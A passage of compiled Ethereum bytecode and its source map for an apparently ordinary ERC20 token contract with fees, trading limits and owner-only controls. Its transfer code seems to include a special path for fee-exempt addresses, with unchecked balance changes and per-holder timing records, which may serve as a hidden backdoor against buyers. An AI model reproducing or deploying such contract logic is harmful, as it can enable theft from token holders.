ffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c7657426016819055505b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611cd957506024601554611cd691906134b3565b43115b15611ddd578160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825403925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dcf9190612a65565b60405180910390a35061231d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e7b575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612071578273ffffffffffffffffffffffffffffffffffffffff1660145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f3c575f60175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f209050601654815f0154611f259190613595565b816002018190555042816001018190555050612070565b5f60175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2090508473ffffffffffffffffffffffffffffffffffffffff1660145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612005575f815f01540361200057600b600e5410611fea5742611ff8565b600142611ff79190613595565b5b815f01819055505b61206e565b5f60175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2090505f825f0154148061205b5750815f0154815f0154105b1561206c57805f0154825f01819055505b505b505b5b5f811115612170576120c98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461272f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121679190612a65565b60405180910390a35b6121c08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461278c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612263612217828461278c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461272f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612306848661278c90919063ffffffff16565b6040516123139190612a65565b60405180910390a3505b505050565b5f838311158290612369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236091906128c0565b60405180910390fd5b505f83856123779190613595565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123bb576123ba6135c8565b5b6040519080825280602002602001820160405280156123e95781602001602082028036833780820191505090505b50905030815f81518110612400576123ff6135f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124c89190612e9f565b816001815181106124dc576124db6135f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125423060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611296565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125a49594939291906136d9565b5f604051808303815f87803b1580156125bb575f80fd5b505af11580156125cd573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b5f8083036125ff575f9050612660565b5f828461260c9190612d39565b905082848261261b919061375e565b1461265b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612652906137fe565b60405180910390fd5b809150505b92915050565b5f6126a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127d5565b905092915050565b5f8183116126bd57826126bf565b815b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561272b573d5f803e3d5ffd5b5050565b5f80828461273d91906134b3565b905083811015612782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277990613866565b60405180910390fd5b8091505092915050565b5f6127cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612322565b905092915050565b5f808311829061281b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281291906128c0565b60405180910390fd5b505f8385612829919061375e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561286d578082015181840152602081019050612852565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61289282612836565b61289c8185612840565b93506128ac818560208601612850565b6128b581612878565b840191505092915050565b5f6020820190508181035f8301526128d88184612888565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61292261291d612918846128e0565b6128ff565b6128e0565b9050919050565b5f61293382612908565b9050919050565b5f61294482612929565b9050919050565b6129548161293a565b82525050565b5f60208201905061296d5f83018461294b565b92915050565b5f80fd5b5f612981826128e0565b9050919050565b61299181612977565b811461299b575f80fd5b50565b5f813590506129ac81612988565b92915050565b5f819050919050565b6129c4816129b2565b81146129ce575f80fd5b50565b5f813590506129df816129bb565b92915050565b5f80604083850312156129fb576129fa612973565b5b5f612a088582860161299e565b9250506020612a19858286016129d1565b9150509250929050565b5f8115159050919050565b612a3781612a23565b82525050565b5f602082019050612a505f830184612a2e565b92915050565b612a5f816129b2565b82525050565b5f602082019050612a785f830184612a56565b92915050565b5f805f60608486031215612a9557612a94612973565b5b5f612aa28682870161299e565b9350506020612ab38682870161299e565b9250506040612ac4868287016129d1565b9150509250925092565b5f60ff82169050919050565b612ae381612ace565b82525050565b5f602082019050612afc5f830184612ada565b92915050565b612b0b81612977565b82525050565b5f602082019050612b245f830184612b02565b92915050565b5f60208284031215612b3f57612b3e612973565b5b5f612b4c8482850161299e565b91505092915050565b5f8060408385031215612b6b57612b6a612973565b5b5f612b788582860161299e565b9250506020612b898582860161299e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612c1557808604811115612bf157612bf0612b93565b5b6001851615612c005780820291505b8081029050612c0e85612bc0565b9450612bd5565b94509492505050565b5f82612c2d5760019050612ce8565b81612c3a575f9050612ce8565b8160018114612c505760028114612c5a57612c89565b6001915050612ce8565b60ff841115612c6c57612c6b612b93565b5b8360020a915084821115612c8357612c82612b93565b5b50612ce8565b5060208310610133831016604e8410600b8410161715612cbe5782820a905083811115612cb957612cb8612b93565b5b612ce8565b612ccb8484846001612bcc565b92509050818404811115612ce257612ce1612b93565b5b81810290505b9392505050565b5f612cf9826129b2565b9150612d0483612ace565b9250612d317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c1e565b905092915050565b5f612d43826129b2565b9150612d4e836129b2565b9250828202612d5c816129b2565b91508282048414831517612d7357612d72612b93565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612dae602083612840565b9150612db982612d7a565b602082019050919050565b5f6020820190508181035f830152612ddb81612da2565b9050919050565b5f81905092915050565b50565b5f612dfa5f83612de2565b9150612e0582612dec565b5f82019050919050565b5f612e1982612def565b9150819050919050565b7f54726164696e6720697320656e61626c656400000000000000000000000000005f82015250565b5f612e57601283612840565b9150612e6282612e23565b602082019050919050565b5f6020820190508181035f830152612e8481612e4b565b9050919050565b5f81519050612e9981612988565b92915050565b5f60208284031215612eb457612eb3612973565b5b5f612ec184828501612e8b565b91505092915050565b5f604082019050612edd5f830185612b02565b612eea6020830184612b02565b9392505050565b5f819050919050565b5f612f14612f0f612f0a84612ef1565b6128ff565b6129b2565b9050919050565b612f2481612efa565b82525050565b5f60c082019050612f3d5f830189612b02565b612f4a6020830188612a56565b612f576040830187612f1b565b612f646060830186612f1b565b612f716080830185612b02565b612f7e60a0830184612a56565b979650505050505050565b5f81519050612f97816129bb565b92915050565b5f805f60608486031215612fb457612fb3612973565b5b5f612fc186828701612f89565b9350506020612fd286828701612f89565b9250506040612fe386828701612f89565b9150509250925092565b5f6040820190506130005f830185612b02565b61300d6020830184612a56565b9392505050565b61301d81612a23565b8114613027575f80fd5b50565b5f8151905061303881613014565b92915050565b5f6020828403121561305357613052612973565b5b5f6130608482850161302a565b91505092915050565b7f416c72656164792072656d6f76656400000000000000000000000000000000005f82015250565b5f61309d600f83612840565b91506130a882613069565b602082019050919050565b5f6020820190508181035f8301526130ca81613091565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61312b602483612840565b9150613136826130d1565b604082019050919050565b5f6020820190508181035f8301526131588161311f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6131b9602283612840565b91506131c48261315f565b604082019050919050565b5f6020820190508181035f8301526131e6816131ad565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613247602583612840565b9150613252826131ed565b604082019050919050565b5f6020820190508181035f8301526132748161323b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6132d5602383612840565b91506132e08261327b565b604082019050919050565b5f6020820190508181035f830152613302816132c9565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613363602983612840565b915061336e82613309565b604082019050919050565b5f6020820190508181035f83015261339081613357565b9050919050565b7f5f7472616e736665723a3a207472616e736665722044656c617920656e61626c5f8201527f65642e204f6e6c7920312070757263686173652070657220626c6f636b20616c60208201527f6c6f7765642e0000000000000000000000000000000000000000000000000000604082015250565b5f613417604683612840565b915061342282613397565b606082019050919050565b5f6020820190508181035f8301526134448161340b565b9050919050565b7f457863656564732074686520205f6d61785478416d6f756e74000000000000005f82015250565b5f61347f601983612840565b915061348a8261344b565b602082019050919050565b5f6020820190508181035f8301526134ac81613473565b9050919050565b5f6134bd826129b2565b91506134c8836129b2565b92508282019050808211156134e0576134df612b93565b5b92915050565b7f457863656564732074686520205f6d617857616c6c657453697a6500000000005f82015250565b5f61351a601b83612840565b9150613525826134e6565b602082019050919050565b5f6020820190508181035f8301526135478161350e565b9050919050565b5f613558826129b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361358a57613589612b93565b5b600182019050919050565b5f61359f826129b2565b91506135aa836129b2565b92508282039050818111156135c2576135c1612b93565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61365481612977565b82525050565b5f613665838361364b565b60208301905092915050565b5f602082019050919050565b5f61368782613622565b613691818561362c565b935061369c8361363c565b805f5b838110156136cc5781516136b3888261365a565b97506136be83613671565b92505060018101905061369f565b5085935050505092915050565b5f60a0820190506136ec5f830188612a56565b6136f96020830187612f1b565b818103604083015261370b818661367d565b905061371a6060830185612b02565b6137276080830184612a56565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613768826129b2565b9150613773836129b2565b92508261378357613782613731565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137e8602183612840565b91506137f38261378e565b604082019050919050565b5f6020820190508181035f830152613815816137dc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613850601b83612840565b915061385b8261381c565b602082019050919050565b5f6020820190508181035f83015261387d81613844565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220883e0d403321f469e7830df1bb91436fbc5fb4de66debbe4060f979b3cb2605b64736f6c63430008170033

Deployed Bytecode Sourcemap

4283:10059:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6638:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5573:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7471:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6915:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7640:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5445:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6824:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5607:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13730:334;;;;;;;;;;;;;:::i;:::-;;7018:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3061:148;;;;;;;;;;;;;:::i;:::-;;13414:271;;;;;;;;;;;;;:::i;:::-;;5323:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14179:160;;;;;;;;;;;;;:::i;:::-;;2847:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5383:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6729:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7145:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4725:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12559:685;;;:::i;:::-;;7320:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13252:154;;;;;;;;;;;;;:::i;:::-;;6638:83;6675:13;6708:5;;;;;;;;;;;;;;;;;6701:12;;6638:83;:::o;5573:27::-;;;;;;;;;;;;;:::o;7471:161::-;7546:4;7563:39;7572:12;:10;:12::i;:::-;7586:7;7595:6;7563:8;:39::i;:::-;7620:4;7613:11;;7471:161;;;;:::o;6915:95::-;6968:7;5121:1;5303:2;:13;;;;:::i;:::-;5291:9;:25;;;;:::i;:::-;6988:14;;6915:95;:::o;7640:313::-;7738:4;7755:36;7765:6;7773:9;7784:6;7755:9;:36::i;:::-;7802:121;7811:6;7819:12;:10;:12::i;:::-;7833:89;7871:6;7833:89;;;;;;;;;;;;;;;;;:11;:19;7845:6;7833:19;;;;;;;;;;;;;;;:33;7853:12;:10;:12::i;:::-;7833:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7802:8;:121::i;:::-;7941:4;7934:11;;7640:313;;;;;:::o;5445:59::-;;;;:::o;6824:83::-;6865:5;5121:1;6883:16;;6824:83;:::o;5607:21::-;;;;;;;;;;;;;:::o;13730:334::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13782:20:::1;13803:24;13821:4;13803:9;:24::i;:::-;13782:45;;13857:1;13842:12;:16;13838:76;;;13872:30;13889:12;13872:16;:30::i;:::-;13838:76;13924:18;13943:21;13924:40;;13992:1;13979:10;:14;13975:82;;;14007:17;;;;;;;;;;;:26;;:38;14034:10;14007:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;13975:82;13771:293;;13730:334::o:0;7018:119::-;7084:7;7111:9;:18;7121:7;7111:18;;;;;;;;;;;;;;;;7104:25;;7018:119;;;:::o;3061:148::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3168:1:::1;3131:40;;3152:6;::::0;::::1;;;;;;;;3131:40;;;;;;;;;;;;3199:1;3182:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3061:148::o:0;13414:271::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13468:25:::1;5121:1;5303:2;:13;;;;:::i;:::-;5291:9;:25;;;;:::i;:::-;13468:35;;13527:17;13514:12;:30;;;;13570:17;13555:14;:32;;;;13619:5;13598:20;;:26;;;;;;;;;;;;;;;;;;13640:37;13659:17;13640:37;;;;;;:::i;:::-;;;;;;;;13457:228;13414:271::o:0;5323:53::-;;;;:::o;14179:160::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14237:12:::1;14281:10;14273:24;;14305:21;14273:58;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14260:71;;;;;14226:113;14179:160::o:0;2847:79::-;2885:7;2912:6;;;;;;;;;;;2905:13;;2847:79;:::o;5383:55::-;;;;:::o;6729:87::-;6768:13;6801:7;;;;;;;;;;;;;;;;;6794:14;;6729:87;:::o;7145:167::-;7223:4;7240:42;7250:12;:10;:12::i;:::-;7264:9;7275:6;7240:9;:42::i;:::-;7300:4;7293:11;;7145:167;;;;:::o;4725:39::-;;;;;;;;;;;;;:::o;12559:685::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12631:11:::1;::::0;::::1;;;;;;;;12630:12;12622:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;12699:42;12676:9;;:66;;;;;;;;;;;;;;;;;;12753:58;12770:4;12785:9;;;;;;;;;;;12797:13;:11;:13::i;:::-;12753:8;:58::i;:::-;12843:9;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12831:43;;;12883:4;12890:9;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12831:76;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12822:6;;:85;;;;;;;;;;;;;;;;;;12918:9;;;;;;;;;;;:25;;;12951:21;12982:4;12988:24;13006:4;12988:9;:24::i;:::-;13013:1;13015::::0;13017:7:::1;:5;:7::i;:::-;13025:15;12918:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13059:6;;;;;;;;;;;13052:22;;;13083:9;;;;;;;;;;;13095:14;13052:58;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13135:12;13121:11;:26;;;;13172:4;13158:11;;:18;;;;;;;;;;;;;;;;;;13201:4;13187:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;13221:15;;;;;;;;;;12559:685::o:0;7320:143::-;7401:7;7428:11;:18;7440:5;7428:18;;;;;;;;;;;;;;;:27;7447:7;7428:27;;;;;;;;;;;;;;;;7421:34;;7320:143;;;;:::o;13252:154::-;2984:12;:10;:12::i;:::-;2974:22;;:6;;;;;;;;;;:22;;;2966:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13321:20:::1;;;;;;;;;;;13313:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;13393:5;13372:20;;:26;;;;;;;;;;;;;;;;;;13252:154::o:0;604:98::-;657:7;684:10;677:17;;604:98;:::o;7961:335::-;8071:1;8054:19;;:5;:19;;;8046:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8152:1;8133:21;;:7;:21;;;8125:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8234:6;8204:11;:18;8216:5;8204:18;;;;;;;;;;;;;;;:27;8223:7;8204:27;;;;;;;;;;;;;;;:36;;;;8272:7;8256:32;;8265:5;8256:32;;;8281:6;8256:32;;;;;;:::i;:::-;;;;;;;;7961:335;;;:::o;8304:3662::-;8408:1;8392:18;;:4;:18;;;8384:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8485:1;8471:16;;:2;:16;;;8463:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8555:1;8546:6;:10;8538:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;8612:17;8654:7;:5;:7::i;:::-;8646:15;;:4;:15;;;;:32;;;;;8671:7;:5;:7::i;:::-;8665:13;;:2;:13;;;;8646:32;8642:1627;;;8707:73;8776:3;8707:64;8729:15;;8719:9;;:25;8718:52;;8759:11;;8718:52;;;8746:12;;8718:52;8707:6;:10;;:64;;;;:::i;:::-;:68;;:73;;;;:::i;:::-;8695:85;;8801:20;;;;;;;;;;;8797:464;;;8862:9;;;;;;;;;;;8848:24;;:2;:24;;;;:49;;;;;8890:6;;;;;;;;;;;8876:21;;:2;:21;;;;8848:49;8844:400;;;9004:12;8961:28;:39;8990:9;8961:39;;;;;;;;;;;;;;;;:55;8925:217;;;;;;;;;;;;:::i;:::-;;;;;;;;;9210:12;9167:28;:39;9196:9;9167:39;;;;;;;;;;;;;;;:55;;;;8844:400;8797:464;9289:6;;;;;;;;;;;9281:14;;:4;:14;;;:42;;;;;9313:9;;;;;;;;;;;9299:24;;:2;:24;;;;9281:42;:70;;;;;9329:18;:22;9348:2;9329:22;;;;;;;;;;;;;;;;;;;;;;;;;9328:23;9281:70;9277:300;;;9389:12;;9379:6;:22;;9371:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9484:14;;9474:6;9458:13;9468:2;9458:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9450:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;9549:9;;:11;;;;;;;;;:::i;:::-;;;;;;9277:300;9602:6;;;;;;;;;;;9596:12;;:2;:12;;;:37;;;;;9628:4;9612:21;;:4;:21;;;;9596:37;9593:164;;;9665:76;9737:3;9665:67;9687:16;;9677:9;;:26;9676:55;;9719:12;;9676:55;;;9705:13;;9676:55;9665:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;9653:88;;9593:164;9773:28;9804:24;9822:4;9804:9;:24::i;:::-;9773:55;;9848:6;;;;;;;;;;;9847:7;:23;;;;;9864:6;;;;;;;;;;;9858:12;;:2;:12;;;9847:23;:38;;;;;9874:11;;;;;;;;;;;9847:38;:70;;;;;9899:18;;9889:9;;:28;9847:70;:115;;;;;9943:19;;9922:20;:40;9847:115;9843:415;;;9983:67;10000:49;10004:6;10011:37;10015:20;10036:11;;10011:3;:37::i;:::-;10000:3;:49::i;:::-;9983:16;:67::i;:::-;10069:26;10098:21;10069:50;;10162:1;10141:18;:22;10138:105;;;10188:35;10201:21;10188:12;:35::i;:::-;10138:105;9964:294;9843:415;8680:1589;8642:1627;10286:18;:24;10305:4;10286:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10314:18;:22;10333:2;10314:22;;;;;;;;;;;;;;;;;;;;;;;;;10286:50;10285:71;;;;;10349:7;:5;:7::i;:::-;10341:15;;:4;:15;;;;10285:71;:97;;;;;10377:4;10361:21;;:4;:21;;;;10285:97;:120;;;;;10400:4;10386:19;;:2;:19;;;;10285:120;10281:184;;;10438:15;10422:12;:31;;;;10281:184;10479:18;:24;10498:4;10479:24;;;;;;;;;;;;;;;;;;;;;;;;;:62;;;;;10538:2;10524:11;;:16;;;;:::i;:::-;10509:12;:31;10479:62;10475:272;;;10605:6;10586:9;:15;10596:4;10586:15;;;;;;;;;;;;;;;;:25;;;;;;;;;;;10647:6;10630:9;:13;10640:2;10630:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;10703:2;10688:26;;10697:4;10688:26;;;10707:6;10688:26;;;;;;:::i;:::-;;;;;;;;10729:7;;;10475:272;10762:18;:24;10781:4;10762:24;;;;;;;;;;;;;;;;;;;;;;;;;10761:25;:53;;;;;10792:18;:22;10811:2;10792:22;;;;;;;;;;;;;;;;;;;;;;;;;10791:23;10761:53;10757:853;;;10845:2;10835:12;;:6;;;;;;;;;;;:12;;;10831:768;;10868:26;10897:8;:14;10906:4;10897:14;;;;;;;;;;;;;;;10868:43;;10969:12;;10952:9;:13;;;:29;;;;:::i;:::-;10930:9;:19;;:51;;;;11018:15;11000:9;:14;;:33;;;;10849:200;10831:768;;;11074:24;11101:8;:12;11110:2;11101:12;;;;;;;;;;;;;;;11074:39;;11146:4;11136:14;;:6;;;;;;;;;;;:14;;;11132:452;;11192:1;11179:7;:11;;;:14;11175:144;;11249:2;11237:9;;:14;11236:59;;11280:15;11236:59;;;11275:1;11256:15;:20;;;;:::i;:::-;11236:59;11222:7;:11;;:73;;;;11175:144;11132:452;;;11367:26;11396:8;:14;11405:4;11396:14;;;;;;;;;;;;;;;11367:43;;11452:1;11437:7;:11;;;:16;:48;;;;11474:7;:11;;;11457:9;:13;;;:28;11437:48;11433:132;;;11528:9;:13;;;11514:7;:11;;:27;;;;11433:132;11344:240;11132:452;11055:544;10831:768;10757:853;11635:1;11625:9;:11;11622:161;;;11675:39;11704:9;11675;:24;11693:4;11675:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;11650:9;:24;11668:4;11650:24;;;;;;;;;;;;;;;:64;;;;11755:4;11732:39;;11741:4;11732:39;;;11761:9;11732:39;;;;;;:::i;:::-;;;;;;;;11622:161;11809:27;11829:6;11809:9;:15;11819:4;11809:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;11793:9;:15;11803:4;11793:15;;;;;;;;;;;;;;;:43;;;;11861:40;11879:21;11890:9;11879:6;:10;;:21;;;;:::i;:::-;11861:9;:13;11871:2;11861:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;11847:9;:13;11857:2;11847:13;;;;;;;;;;;;;;;:54;;;;11932:2;11917:41;;11926:4;11917:41;;;11936:21;11947:9;11936:6;:10;;:21;;;;:::i;:::-;11917:41;;;;;;:::i;:::-;;;;;;;;8373:3593;8304:3662;;;;:::o;1741:190::-;1827:7;1860:1;1855;:6;;1863:12;1847:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1887:9;1903:1;1899;:5;;;;:::i;:::-;1887:17;;1922:1;1915:8;;;1741:190;;;;;:::o;12082:469::-;6050:4;6041:6;;:13;;;;;;;;;;;;;;;;;;12160:21:::1;12198:1;12184:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12160:40;;12229:4;12211;12216:1;12211:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12255:9;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12245:4;12250:1;12245:7;;;;;;;;:::i;:::-;;;;;;;:26;;;;;;;;;::::0;::::1;12284:56;12301:4;12316:9;;;;;;;;;;;12328:11;12284:8;:56::i;:::-;12353:9;;;;;;;;;;;:60;;;12428:11;12454:1;12470:4;12497;12517:15;12353:190;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12149:402;6086:5:::0;6077:6;;:14;;;;;;;;;;;;;;;;;;12082:469;:::o;1939:246::-;1997:7;2026:1;2021;:6;2017:47;;2051:1;2044:8;;;;2017:47;2074:9;2090:1;2086;:5;;;;:::i;:::-;2074:17;;2119:1;2114;2110;:5;;;;:::i;:::-;:10;2102:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2176:1;2169:8;;;1939:246;;;;;:::o;2193:132::-;2251:7;2278:39;2282:1